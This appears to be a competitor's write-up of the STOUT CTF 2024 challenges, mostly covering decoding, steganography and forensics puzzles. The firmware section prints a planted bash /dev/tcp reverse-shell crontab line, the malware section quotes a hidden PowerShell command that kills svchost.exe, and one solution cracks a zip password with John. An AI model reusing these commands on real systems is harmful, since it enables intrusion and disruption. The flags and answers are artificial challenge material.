STOUT CTF 2024
The Capture the Flag (CTF) competition is hosted by the University of Wisconsin - Stout in partnership with Universiti Kuala Lumpur (UniKL). This CTF was conducted for 5 days and was an individual event, providing participants with a challenging and engaging cybersecurity experience.
Cryptography
Based
Description
This challenge is Based.
Based.txt: |
---|
U1RPVVRDVEZ7aFM1RFRKYzEyYkR5N3NxSm9IN3FRczdkWHJFNFlzZDd9 |
The flag is Base64-encoded. Use any Base64 decoder to extract the flag.
Using Command:
1
2
$echo U1RPVVRDVEZ7aFM1RFRKYzEyYkR5N3NxSm9IN3FRczdkWHJFNFlzZDd9 | base64 -d
STOUTCTF{hS5DTJc12bDy7sqJoH7qQs7dXrE4Ysd7}
V
V.txt: |
---|
Use the Giovan alphabet provided to you ABCDEFGHIJKLMNOPQRSTUVWXYZ |
Can you solve the great GIOVAN mystery? |
YBCPTPZN{EaT8CK2zVexEqjdCmP6URd14xW6kNg7B} |
Searching for Giovan on Google revealed it was related to the Vigenère cipher
, a method of encrypting text using a series of interwoven Caesar ciphers based on a keyword. It employs a polyalphabetic substitution technique, where each letter in the plaintext is shifted by a different amount depending on the corresponding letter in the keyword, creating a more complex and secure encryption compared to simple ciphers.Reading the text its highlight the ‘GIOVAN’
then it must be the key of it.
Using Command:
1
2
$echo "YBCPTPZN{EaT8CK2zVexEqjdCmP6URd14xW6kNg7B}" | python3 -c "import string; k='GIOVAN'; c=input().strip(); print(''.join([chr((ord(c.lower()) - ord(k[i % len(k)].lower()) + 26) % 26 + 97) if c.isalpha() else c for i, c in enumerate(c)]))"
stoutctf{jag8uw2ziypqvjqweb6uex14cw6efs7b}
Jeans
Description
Have you worn some lately?
Jeans.txt: |
---|
TGATAGTGTGATTAGTCATAGGCTACGTATGCTTAGAGGGAGCTAGCGCACCGTTGCAGTCACTCGCATGAGCGTACATCAATTTGTTGCGAGTCTAGATCAATGATTAGTCGTGACACCCTCACG |
The term "Jeans = Gene"
suggests the challenge is DNA-related.
Use this: https://earthsciweb.org/js/bio/dna-writer/
1
2
3
4
5
6
Translate base sequence to text
Enter Sequence:
TGATAGTGTGATTAGTCATAGGCTACGTATGCTTAGAGGGAGCTAGCGCACCGTTGCAGTCACTCGCATGAGCGTACATCAATTTGTTGCGAGTCTAGATCAATGATTAGTCGTGACACCCTCACG
Output:
STOUTCTF.QFT8PE2RHJXRKBPHMC6OJP14CW6XHY7N.
Hidden Waveforms
Description Hidden in the waves lies a secret. Can you find it?
Listening to the audio revealed a beeping sound, identified as Morse code. However, decoding it with online tools did not provide the expected flag or hint instead show ‘NOFLAGHERE…’
. Furthering my steps. I also examining metadata using exiftool, inspecting the file with binwalk, and exploring potential steganography methods, but no significant findings emerged.
Upon testing the image with steghide, the file was extracted accidentally without requiring a password, revealing the data.
1
2
3
$steghide extract -sf hidden_waveforms.wav \
$cat secrets_in_sound.txt
43 43 43 43 43 43 43 43 43 43 91 62 43 62 43 43 43 62 43 43 43 43 43 43 43 62 43 43 43 43 43 43 43 43 43 43 60 60 60 60 45 93 62 62 62 43 43 43 43 43 43 43 43 43 43 43 43 43 46 43 46 45 45 45 45 45 46 43 43 43 43 43 43 46 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 43 43 43 46 62 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 62 45 45 45 45 45 45 46 62 45 45 45 45 45 46 60 45 45 45 45 45 45 45 45 45 45 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 46 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46 60 60 45 45 45 45 45 46 62 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 43 43 43 43 43 43 43 43 43 46 43 43 43 43 43 43 43 43 43 43 46 60 43 43 43 43 43 46 62 45 45 45 46 62 45 45 46 60 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 60 45 45 45 46 62 62 43 43 43 43 43 46 60 46 43 43 46 62 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 43 43 43 43 43 43 43 46 46 43 43 43 43 46 60 45 45 45 45 45 45 45 46 60 43 43 43 43 46 45 45 45 45 45 45 45 46 62 62 45 45 46 43 43 43 43 46 45 45 45 45 46 43 43 43 43 46 60 60 43 43 43 43 43 43 43 46 62 62 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 46
1
2
$cat secrets_in_sound.txt | tr ' ' '\n' | while read d; do printf "\\$(printf '%03o' $d)"; done
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>+++++++++++++.+.-----.++++++.-.-----------------.>----------------.<+++.>+++++++++++++++++++++++++++++++++++++++.<+++++++++++++++.<++++++++++++++++++++++++.>------.>-----.<----------.>--------------------..+++++++++++++++++.<<-----.>>--------------.<+++++++++.++++++++++.<+++++.>---.>--.<--------------.<---.>>+++++.<.++.>--------------.+++++++..++++.<-------.<++++.-------.>>--.++++.----.++++.<<+++++++.>>++++++++++++++++++++++
Now we encounter a new encoded. But this one I’m already familiar with it. It is called ‘BrainFuck’. Use any cipher decoder online tools.
1
STOUTCTF{U6OvEbbs1eNX6UcG3hGIZaaeB70cgcg7}
Custom Cipher
Description Your scripting cant break my encoding! VWRXWFWI{Vr3J8NJks4Tn58PjDv3IPNc9VueGFwlu}
Initially, it seemed like the pattern resembled a Vigenère Cipher or something similar. Upon further analysis, it turned out to be ROT13
, a simple substitution cipher that replaces each letter in the alphabet with the one 13 positions after it. This technique effectively rotates the alphabet by half its length, making it a straightforward yet effective method for obfuscation in certain contexts. Unlike Vigenère, which uses a keyword for encryption, ROT13 requires no key and can be easily change the rotating amount. In this case, the amount of the ROT13 was 23
.
Using Command:
1
2
$echo "VWRXWFWI{Vr3J8NJks4Tn58PjDv3IPNc9VueGFwlu}" | tr 'A-Za-z' 'X-ZA-Wx-za-w'
STOUTCTF{So3G8KGhp4Qk58MgAs3FMKz9SrbDCtir}
Fat Finger
Description I seem to have fatfingered the file in transit… I should do more cardio!
Passwords.txt |
---|
‘DYPIYVYG}fyYV0[s-KhuDwV[OKn:Y<H:4k8CsYeFY |
This question, inspired by a similar challenge undertaken by my friend (shoutout to Armeyer), involves analyzing the QWERTY keyboard and applying a shift to the left for each letter, including both lowercase and uppercase characters. For example:
1
2
3
‘D’ shift to left turns into ‘S’
‘Y’ shift to left turns into ‘T’
‘P’ shift to left turns into ‘O’
Using cachesluth
: https://www.cachesleuth.com/keyboardshift.html
:
1
STOUTCTF{dtTC9pa0JgySqCpIJbLTMGL3j7XaTwDT}
13RottenTeRmites
I came across the flag while consistently using Ctrl + F on CyberChef. Eventually, I stumbled upon the string STOUTCTF, likely by coincidence. Guess its out of luck by any chance.
From Base64 > Rot13 (default amount of 13)
1
2
$cat 13RottenTeRmites.txt | base64 -d | tr 'A-Za-z' 'N-ZA-Mn-za-m' | grep "STOUTCTF"
STOUTCTF{qKp1MOJMDaJUIJ5KybLrcfZOFQ3IN1j2}
Huffman
Description Trees are very pretty. I like trees!
I was unfamiliar with Huffman encoding, so I looked it up and learned that it is a lossless data compression technique based on tree structures. So I made a script to decrypt based on the given file and decode it Huffman with node ‘1’ or ‘0’. This script implements Huffman coding for text compression and decompression. It uses a Node class to represent each character and its frequency in a binary tree. A Huffman tree is built using a priority queue (using heapq), where nodes with lower frequencies have higher priority. The generate_codes function creates a mapping of characters to binary strings based on the tree structure, assigning shorter codes to more frequent characters. The decode_huffman function reconstructs the original text from a binary string using the character-to-code mapping. This process encodes and decodes data by minimizing the average code length based on character frequencies.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import heapq
from collections import namedtuple
class Node:
def __init__(self, weight, char, left=None, right=None):
self.weight = weight
self.char = char
self.left = left
self.right = right
def __lt__(self, other):
return self.weight < other.weight
def build_huffman_tree(frequency):
priority_queue = []
for char, freq in frequency.items():
heapq.heappush(priority_queue, Node(freq, char))
while len(priority_queue) > 1:
left = heapq.heappop(priority_queue)
right = heapq.heappop(priority_queue)
merged = Node(left.weight + right.weight, None, left, right)
heapq.heappush(priority_queue, merged)
return priority_queue[0]
def generate_codes(node, prefix='', codebook={}):
if node.char is not None:
codebook[node.char] = prefix
else:
generate_codes(node.left, prefix + '0', codebook)
generate_codes(node.right, prefix + '1', codebook)
return codebook
def decode_huffman(encoded_string, codebook):
reversed_codebook = {v: k for k, v in codebook.items()}
decoded_string = ''
current_code = ''
for bit in encoded_string:
current_code += bit
if current_code in reversed_codebook:
decoded_string += reversed_codebook[current_code]
current_code = ''
return decoded_string
frequency = {
'co': 0.007352941176470588,
'me': 0.007352941176470588,
'e ': 0.01838235294117647,
' t': 0.01838235294117647,
'to': 0.011029411764705883,
'o ': 0.011029411764705883,
#CONTINUE THE ARRAY GIVEN
}
huffman_tree = build_huffman_tree(frequency)
codebook = generate_codes(huffman_tree)
binary_string = (
"0111011110110011111……………………"
)
decoded_text = decode_huffman(binary_string, codebook)
print(decoded_text)
1
2
$python script.py
Welcome to UW-Stout's CTF! I'm so happy you were able to decrypt this message. Was it hard? I'm not sure. I learned about this algorithm in one of my classes and thought it was cool...Anyways. Here is your flag:STOUTCTF{A0LZTvEW23NcbeKk8JyWJ8W0b6Mx7p6N}Congrats!
Nothing To See Here
Description: Seriously, what are you looking at?
The challenge involves decoding a file that appears empty but contains hidden encoded data using whitespace characters
.I recognized the encoding as Whitespace language. Used the Whitespace decode tool on dcode.fr to decode the content. The result was in Base64 format. After that, The decoded Base64 output was again encoded in Whitespace language. Reused the Whitespace decode tool on dcode.fr, which revealed the final flag.
1
STOUTCTF{ab6IcT8R4vNyAJNWQteBJ3Yd2VTrkVCp}
7 Bit Flow
Description Computers see images much differently than we do. Can you see the bigger picture?
Given img:
For this challenge, I tried everything, including checking the metadata, using steghide, and running binwalk, but I couldn’t figure out what to do. Then I reread the question, which mentioned ‘7-bit’ Taking a chance, I created the script to process RGB values using 7-bit, and it worked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from PIL import Image
import numpy as np
img = Image.open("bit_flow.jpg").convert("RGB")
width, height = img.size
pixels = np.array(img)
ch_channel = pixels[:, :, 0]
# Extract bit 7 (MSB)
bit_plane_7 = (ch_channel >> 7) & 1
text_output = []
for row in bit_plane_7:
bits = "".join(map(str, row))
chars = [chr(int(bits[i:i + 8], 2)) for i in range(0, len(bits), 8)]
text_output.append("".join(chars))
for line in text_output:
print(line)
Using Command:
1
2
$python decode.py | head -n 1
STOUTCTF{7jDcMSX5lqCCM6wxr7ijiTSUXRz0LiiU}
Using Stegsolve
:
Forensics
Normal Image
If we cannot see anything inside the image, metadata or hidden compressed file inside the image. Try to see if zsteg any uses.
Using zsteg:
1
2
3
$ zsteg StoutxUniKL.png | head -n 2
b1,g,msb,xy .. file: OpenPGP Secret Key
b1,rgb,lsb,xy .. text: "STOUTCTF{1ywHGox1ZRNcAftHt1CWP9YT1PKT1inR}"
Alternative using Aperisolve
:
Iera Milpan
Description Waktu bahagia berkasih Muncul sesuatu tak ku duga Lilin selama ini bernyala Terpadam gelap gelita Sukarnya untuk melupakan Ikatan janji setia Di bawah pohon asmara Kau lafazkan Mentera cinta Retak hatiku hancur semua Diriku ini jiwa meronta Cinta yang sudah pudar Tenggelam di lautan kecewa Walau hati akan kekosongan Namun cintaku bukan mainan Biarlah aku bersendirian Untuk melupakanmu Biarkanlah aku Membawa diriku Semoga bahagia Walau ku berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati Retak hatiku hancur semua Diriku ini jiwa meronta Cinta yang sudah pudar Tenggelam di lautan kecewa Walau hati akan kekosongan Namun cintaku bukan mainan Biarlah aku bersendirian Untuk melupakanmu oh Biarkanlah aku Membawa diriku Semoga bahagia Walau ku berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati Biarkanlah dia Membawa dirinya Semoga bahagia Walau kau berduka Walau patah tumbuh Hilangkan berganti Namun luka ini Sukar diubati
File was actually an png not in mp3
1
2
$ file Retak_Hatiku_-_Iera_Milpan.mp3
Retak_Hatiku_-_Iera_Milpan.mp3: PNG image data, 1219 x 48, 8-bit/color RGBA, non-interlaced
Changing the extension of mp3 into png
1
$ cp Retak_Hatiku_-_Iera_Milpan.mp3 image.png
Open up the image. and you’ll get to see the flag
1
STOUTCTF{qDtiRAwpAyR4Yg57YxzYW5p1V2dm5mwo}
RockYou
Description Don’t crack your zipper!
Use john tools to crack the password with the wordlist of Rockyou.txt. Command:
1
2
3
4
5
$ Zip2john RockYou.zip > hash
$ John –-wordlist=/usr/share/wordlists/rockyou.txt hash
$ Unzip RockYou.zip
$ Cat Flag.txt
STOUTCTF{wxxD6DH2c4yyeKhoXKvz7W8NrRUb4b1J}
The Echoes
Filter icmp with the Echo (ping) reply only with the query of : icmp.type==0
We can save the data Export as csv or simply use command.
Use commandline to extract Using command extracts the data information from a network capture file. It filters for specific ICMP packets (type 0), picks out certain data fields, and processes them step by step. First, uses tshark to read the file and extract the relevant data. Then, awk selects and formats parts of the data. The processed data is converted back to binary using xxd.
1
$ tshark -r TheEchos.pcap -Y "icmp.type == 0" -T fields -e data | awk 'NF {print substr($0, 1, 2)}' ORS='' | xxd -r -p
Grep the flag Reading through file there is actually ‘STOUTCTF’. We can grep it for the specific text that we want.
1
2
$ tshark -r TheEchos.pcap -Y "icmp.type == 0" -T fields -e data | awk 'NF {print substr($0, 1, 2)}' ORS='' | xxd -r -p | grep -o 'STOUTCTF{[^}]*}'
STOUTCTF{fZtPEj720e1OKFrQPqouICBdgVAtD14N}
Dark Web Firmware 1
Extracting the file and running a string search yielded no results. I then checked the file headers for any clues and found one unfamiliar file. Upon investigating, I discovered it was labeled ‘filesystem.squash.’ A quick Google search revealed it to be a SquashFS filesystem, prompting further research into its structure and extraction methods. Some good material to read: https://www.mankier.com/1/unsquashfs
Extracting filesystem using squashfs
1
$ unsquasfs filesystem.squashfs
Getting the extraction we can use Regex to display all IPs.
1
$ sudo grep -orE '([0-9]{1,3}\.){3}[0-9]{1,3}' .
One look suspicious with the name of ‘kali’
1
./etc/crontabs/kali:109.23.44.78
Reading through the ./etc/crontabs/kali
can see the tcp was made with the ip on reboot.
Flag: 109.23.44.78
Dark Web Firmware 2
Even though we already know its kali. To double confirm it, im trying to read the ./etc/passwd
if the user was exactly exist and yes, it was exist.
Reading the /etc/crontab/kali
1
2
$ cat ./etc/crontabs/kali
@reboot (echo '* * * * * bash -i >& /dev/tcp/109.23.44.78/9989 0>&1' | crontab -)
Reading the /etc/passwd
1
2
3
4
$ cat ./etc/passwd | tail -n 3
admin:x:1000:0:admin:/var:/bin/false
guest::2000:65534:guest:/var:/bin/false
kali:x:0:0:root:/root:/bin/ash
Flag: kali
Dark Web Firmware 3
Use regex of url pattern.
1
$ grep -Er "http://[a-zA-Z0-9.-]+\.com" . | grep -v "www.tp-link.com"
The index.html will keep refresh on the tinyurl[.]com . The URL also a bit different compared to other URL.
Flag hxxp://tinyurl[.]com/notmalware
[WITHOUT DEFANG]
Fairytales
Initial overview Checking the metadata using exiftool on Fairytales.pdf, we get to see two of unknown encryption was found.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ exiftool Fairytales.pdf
ExifTool Version Number : 12.57
File Name : Fairytales.pdf
Directory : .
File Size : 28 kB
File Modification Date/Time : 2024:12:20 12:40:21+09:00
File Access Date/Time : 2024:12:24 15:11:14+09:00
File Inode Change Date/Time : 2024:12:20 12:40:21+09:00
File Permissions : -rwxr-xr-x
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 5
Producer : Fairytales
Title : The Eternal Navigator
Author : Dr. Elena Markov
UUID : ,UImd-#t;S9KurE2dp]>B-Kl,5TsQL3@$@-BLO4&1Ee&fF_G88A53
Create Date : 2024:12:19 07:00:00+01:00
Keywords : Flag:, NGUgNjkgNjMgNjUgMjAgNzQgNzIgNzkgMmMgMjAgNjUgNzggNzAgNmMgNmYgNzIgNjUgNzIgMjEgMjAgNDIgNzUgNzQgMjAgNzQgNjggNjUgMjAgNzQgNzIgNzUgNjUgMjAgNzQgNzIgNjUgNjEgNzMgNzUgNzIgNjUgNzMgMjAgNmYgNjYgMjAgNzQgNjggNjUgMjAgNDUgNzQgNjUgNzIgNmUgNjEgNmMgMjAgNGUgNjEgNzYgNjkgNjcgNjEgNzQgNmYgNzIgMjAgNzIgNjUgNmQgNjEgNjkgNmUgMjAgNjggNjkgNjQgNjQgNjUgNmUgMmUgMjAgNGIgNjUgNjUgNzAgMjAgNzMgNjUgNjUgNmIgNjkgNmUgNjcgMmMgMjAgNjEgNmUgNjQgMjAgNzkgNmYgNzUgMjAgNmQgNjkgNjcgNjggNzQgMjAgNmEgNzUgNzMgNzQgMjAgNzUgNmUgNjMgNmYgNzYgNjUgNzIgMjAgNzQgNjggNjUgNjkgNzIgMjAgNzMgNjUgNjMgNzIgNjUgNzQgNzMgMmU=
Creator : Peyton Braun
Modify Date : 2024:12:19 07:00:00+01:00
Subject : Can you uncover the secrets of The Eternal Navigator
Decode BASE64 Trying to decode the Flag. It was just a rabbit hole. Then we need some way or keys to uncover the UUID gibberish cipher.
1
2
$ echo NGUgNjkgNjMgNjUgMjAgNzQgNzIgNzkgMmMgMjAgNjUgNzggNzAgNmMgNmYgNzIgNjUgNzIgMjEgMjAgNDIgNzUgNzQgMjAgNzQgNjggNjUgMjAgNzQgNzIgNzUgNjUgMjAgNzQgNzIgNjUgNjEgNzMgNzUgNzIgNjUgNzMgMjAgNmYgNjYgMjAgNzQgNjggNjUgMjAgNDUgNzQgNjUgNzIgNmUgNjEgNmMgMjAgNGUgNjEgNzYgNjkgNjcgNjEgNzQgNmYgNzIgMjAgNzIgNjUgNmQgNjEgNjkgNmUgMjAgNjggNjkgNjQgNjQgNjUgNmUgMmUgMjAgNGIgNjUgNjUgNzAgMjAgNzMgNjUgNjUgNmIgNjkgNmUgNjcgMmMgMjAgNjEgNmUgNjQgMjAgNzkgNmYgNzUgMjAgNmQgNjkgNjcgNjggNzQgMjAgNmEgNzUgNzMgNzQgMjAgNzUgNmUgNjMgNmYgNzYgNjUgNzIgMjAgNzQgNjggNjUgNjkgNzIgMjAgNzMgNjUgNjMgNzIgNjUgNzQgNzMgMmU= | base64 -d | xxd -r -p
Nice try, explorer! But the true treasures of the Eternal Navigator remain hidden. Keep seeking, and you might just uncover their secrets.
Decoding UUID Reading the PDF get some hinting about 47. While Base85 was the actually from 19’85’ hinting.
From Base85 > ROT47
1
STOUTCTF{n2ff2B98QwhoP29hSaV9tTabPTGF94Z5}
Orb of light
Description Dr. Elana Markov sat hunched over her desk, the flickering light of a small monitor casting shadows across the cluttered lab. The coordinates had come from a crumbling fragment of an old text—a discovery that many dismissed as mere legend. But Markov knew better. She had just returned from the coordinates after finding a ominous video, her breath catching as grainy, footage filled the screen. The camera, sat motionless watched an endless, icy expanse, the snow creating a dense fog in the distance she watched and watched trying to find something, anything to give her a clue of what this was, she knew something was off. As she watched the video over and over she realized there must be another part of the video, she must be missing something. She returned to the site and found a note hidden under piles of rubble with the same ancient cipher as before. Hours later, she had deciphered the beginning of the hidden message within the light. It was fragmented, incomplete: “To find the truth, follow…” She pushed on looking everywhere for anymore clues to what this might mean. After searching high and low she discovered a hidden compartment with a cryptic note, the beginning looked familiar, the same as before, but this one was complete “To find the truth, follow… wkh ruev ri oljkw, wkhb iolfnhu lq d suhglfwdeoh sdwwhuq, wkhb zloo ohdg brx wr Wkh Hwhuqdo Qdyljdwru. Wkh sdvvzrug brx vhhn lv rue5riO1jkw
” With this, she knew what she needed to do.
Decoding the hint from description I received a zip file with a password and needed to find a clue. The description contained some encrypted text, which I decoded using ROT13
. This revealed the password. orb5ofL1ght
Unzip it with the password we’re getting. After unzip it. I’m getting the .mp4 video and looks it out. Open up the video With a quick reaction and sharp eyes. I we can see some blinking on the corner left. There was morse code.
Decoding the morse code Decode it one by one using any video tools will help a lot.
1
... - --- ..- - -.-. - ..-. -.--. -. --.. --- ..--- .- .-. -.-. -... ----. ... -.- -... ..--- ....- -.- ..... -- -- . ...- -.-- ..... --. -.-- .-- .- .- .--- .--- .... --.- --. -.--.-
After Getting the dots. We can get final flag.
1
STOUTCTF(NZO2ARCB9SKB24K5MMEVY5GYWAAJJHQG)
Substitute Teacher
The hint referenced ‘1992’ and ‘45 Rogue’, which pointed to Base92 and Base45 encoding. The process involved: Gunzip > Base92 > Base45 > Gunzip
. After following these steps, plaintext wording was revealed, allowing me to proceed with downloading and saving the file
.
Checking the file type. It was pcap.
1
2
$ file file.txt
file.txt: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 65535)
Rename the extension into pcap
1
$ cp file.txt new.pcap
HTTP
Filter: http.request.method==POST
Packet 19368: Right Click > Follow > HTTP Stream
1
2
3
4
5
6
POST /submit HTTP/1.1
Host: fakehost71.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
teacher=YTERTCTQ{M1KyJDS6fXaU8PHzuKjSBHrgs5gt1Uhu}3Z7hUc5kkSTFRJI3cBf5Sq1RR2qCa1qk3c5L3AWKXcqSAVviJZvuO2SOW288ODCFQn7sykroKiYiZejxz94SWSJbjz1m574OYRuH7AbGES2pXIQGh51Jqpu2SSLV20nG3ENheqZBK4R7uDV0Ar7qbO6AbosvgcUo2P1SkqgXUEV6rlq
FTP
Filter: ftp
Packet 28976: Right Click > Follow > Follow TCP Stream
Number............. 9085346217
TCP
We found the Keyword of Upper
1
2
$ tshark -r new.pcap -Y "tcp" -T fields -e tcp.stream -e data | grep -Pv '^\s*$' | cut -f2 | while read hex; do echo $hex | xxd -r -p | grep -Pv '[0-9]'; done
Upper WSCZMQHNUFBLIDEPJOYTRVXAKG
UDP
Now as we know the keyword Upper
exist. seeing the pattern was all alphabet, im using the UDP keyword to look any alphabet only consist in the pcap of UDP.
1
2
$ tshark -r new.pcap -Y "udp" -T fields -e udp.stream -e data | grep -Pv '^\s*$' | cut -f2 | while read hex; do echo $hex | xxd -r -p | grep -Pv '[0-9]'; done
Lower amuphvibojrtfzwnqyeclxkdgs
Decrypting Evidence
After spending considerable time analyzing the encoded text and reviewing the description and hints, I began to understand that the process involved mapping encoded letters and numbers back to their original forms. The cipher relied on meticulous precision, where every detail—whether uppercase or lowercase—was important. For instance, the capital letter 'Y'
in the encoded text corresponds to 'S'
in the original mapping. Similarly, the capital 'T'
remains 'T'
after decoding, as observed when comparing the ciphered and standard alphabets. Made a script out of it to decode it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
upper_cipher = "WSCZMQHNUFBLIDEPJOYTRVXAKG"
lower_cipher = "amuphvibojrtfzwnqyeclxkdgs"
standard_upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
standard_lower = "abcdefghijklmnopqrstuvwxyz"
numeric_key = "9085346217"
encoded_text = "YTERTCTQ{M1KyJDS6fXaU8PHzuKjSBHrgs5gt1Uhu}"
def decode(encoded, upper_map, lower_map, num_map):
result = []
for char in encoded:
if char in upper_map:
index = upper_map.index(char)
result.append(standard_upper[index])
elif char in lower_map:
index = lower_map.index(char)
result.append(standard_lower[index])
elif char in num_map:
index = num_map.index(char)
result.append(str(index))
else:
result.append(char)
return ''.join(result)
flag = decode(encoded_text, upper_cipher, lower_cipher, numeric_key)
print(flag)
1
STOUTCTF{E8YrQNB6mWaI2PGncYjBKGkyz3yl8Iec}
Malware
Blue
PROCMON
Initial Review using PESTUDIO Upon examining the indicator, I found that the sections involved self-modifying
code with UPX0-2
. UPX is a file compression tool used for executable files, often to reduce file size while maintaining the ability to execute. This suggests that the file had been compressed using UPX, which could potentially be a technique used to obfuscate the file’s true content.
The entry point of the UPX1
compressed file was located at memory address 0x0003D2A0
. This marks the starting point of the execution after UPX decompression, where the file begins its execution flow.
UPX0: This section supports write, execute, and self-modifying properties, indicating it can modify its own code during execution.
UPX1: This section allows write, execute, and self-modifying capabilities, but lacks the virtual properties seen in UPX0, limiting its self-modification scope.
UPX2: This section only allows write operations, without execution capabilities, suggesting it does not run code but can modify or overwrite data in the file.
Uncompressed using UPX
Reviewing the program using x64dbg
I then proceeded to decompress the UPX file using the UPX tool with the -d
parameter. After performing static analysis, I found no plaintext or interesting information. Realizing that go through to the execution could be gained from the program’s flows, I decided to conduct dynamic analysis to observe its behavior during runtime. (Using my virtual machine for execution the malware)
While attempting to analyze the program through debugging tools, I found it overwhelmed by the large amount of assembly code, making it difficult to go through each instruction one by one. Given the time constraints of the CTF, focusing on just one question felt like a significant effort. It’s clearly that identifying the right spots to place breakpoints would take considerable time and patience. Interestingly, I can see some powershell execute on the process under the PID of ‘Blue.exe’
Analysing the flow using Process Monitor
I used Process Monitor to observe the activity of PowerShell and track the commands it was executing to trigger a BSOD
on my PC. During this, I identified some encoded text starting with 'U1RPVVRD…'
, which I recognized as part of a flag format for 'STOUT'
. This confirmed the presence of a flag within the encoded string, which I then saved into the RegSetValue
(although we could stop here since we had already obtained the flag). However, I decided to continue my investigation to further explore the findings.
We can see to of the following, one of it was in Base64. It is a flag but I want to dig more.
IOC:
1
2
3
U1RPVVRDVEZ7b1pDZ0NLR3hjeFg4ckZPWlhCV1ozUUJrNkM4b0lWY2p9
"POWERSHELL" -COMMAND "START-PROCESS -WINDOWSTYLE HIDDEN CMD.EXE -ARGUMENTLIST \\\\\\\"/C TASKKILL.EXE /F /IM SVCHOST.EXE\\\\\\\""
Analyse with AnyRun
Uploading into Any.Run
Verifying the program flow
Both conhost.exe
and powershell.exe
were running as child processes under the parent process of the executed application, Blue.exe
. I trying to check what does the Blue.exe does to execute the powershell and Registry.
Clicking on the ‘More Info’
Clicking on the ‘More Info’
of the PID 6460
and found the registry set
similar like the Process Monitor.
We can see the value was the flag stored inside the registry called sussy. This key is used to store the startup programs for the Windows operating system. It is located in the registry and contains a list of programs that are automatically executed when the system starts. In this situation the program Write and Delete the value instantly inside:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Malicious programs can also use this key to add themselves to the startup programs list, allowing them to execute without the user’s knowledge or consent. This can be a technique used by malware to maintain persistence on the infected system and evade detection
Unintended Solution
Uploading to Virustotal
Going into Behaviour:
Scroll and can see the Base64 encoded. Go decode it!
1
STOUTCTF{oZCgCKGxcxX8rFOZXBWZ3QBk6C8oIVcj}
Miscellaneous
Grass
Description Two Words with a space in between such as “Basic Flag” NO STOUTCTF{}
While experimenting with StegSolver
, I began clicking the 'Offset'
button and noticed some black-colored pixels
appearing on the image. I continued clicking until I reached an offset of 171
, which revealed the plaintext ‘Morse Stress’
STEPS:
1
2
3
Open up stegsolver
Click the Analyse > Stereogram Solver
Shift till the offset reach 171
Flag: Morse Stress
BINARY
Description Is this binary exploitation?
01010011 01010100 01001111 01010101 01010100 01000011 01010100 01000110 01111011 01000111 01011000 01000110 01010111 01000011 01011000 01010010 00110000 01100100 01000110 00110000 01110111 01001101 01001001 01111000 01011010 01101111 01110100 01110101 01011001 01110101 01100100 01110010 01001100 01010101 01010001 01100001 01001110 01001100 01010000 01011000 00110101 01111101
I observed a sequence of binary numbers consisting of ‘1’s and ‘0’s. Using a tool like CyberChef, I was able to decode the binary text into plaintext, at the text will be seen.
1
STOUTCTF{GXFWCXR0dF0wMIxZotuYudrLUQaNLPX5}
Make Alan Proud
Description xased xlzdn snwia wfgnn rekze lytqc pgujf sfcis fiwfn sqxln qoemb mvlkn Settings as shown below:
3 Rotor Model Rotor 1: VI, Initial: A, Ring A Rotor 2: I, Initial: Q, Ring A Rotor 3: III, Initial L, Ring A Reflector: UKW B Plugboard: BQ CR DI EJ KW MT OS PX UZ GH
Without any script. I’m just directly use Enigma decode with the info given on the description.
1
stoutctfabcdefghjiklmnopqrstuvwxyzaabbcc
Dots and Dashes
Description … - — ..- - -.-. - ..-. ….. —-. .– -…. - ..-. .- .. –… -…. …- …– -… … –. .- . ..- - ..-. - .– .. –.. –. -..- –.- .-. –.. -.- –.- ..
Its literally morse code. Pick any tools you like to decode it.
1
STOUTCTF59W6TFAI76V3BSGAEUTFTWIZGXQRZKQI
BASEDPORT
Description Thats a lot of Based Ports!
Basedport.txt |
---|
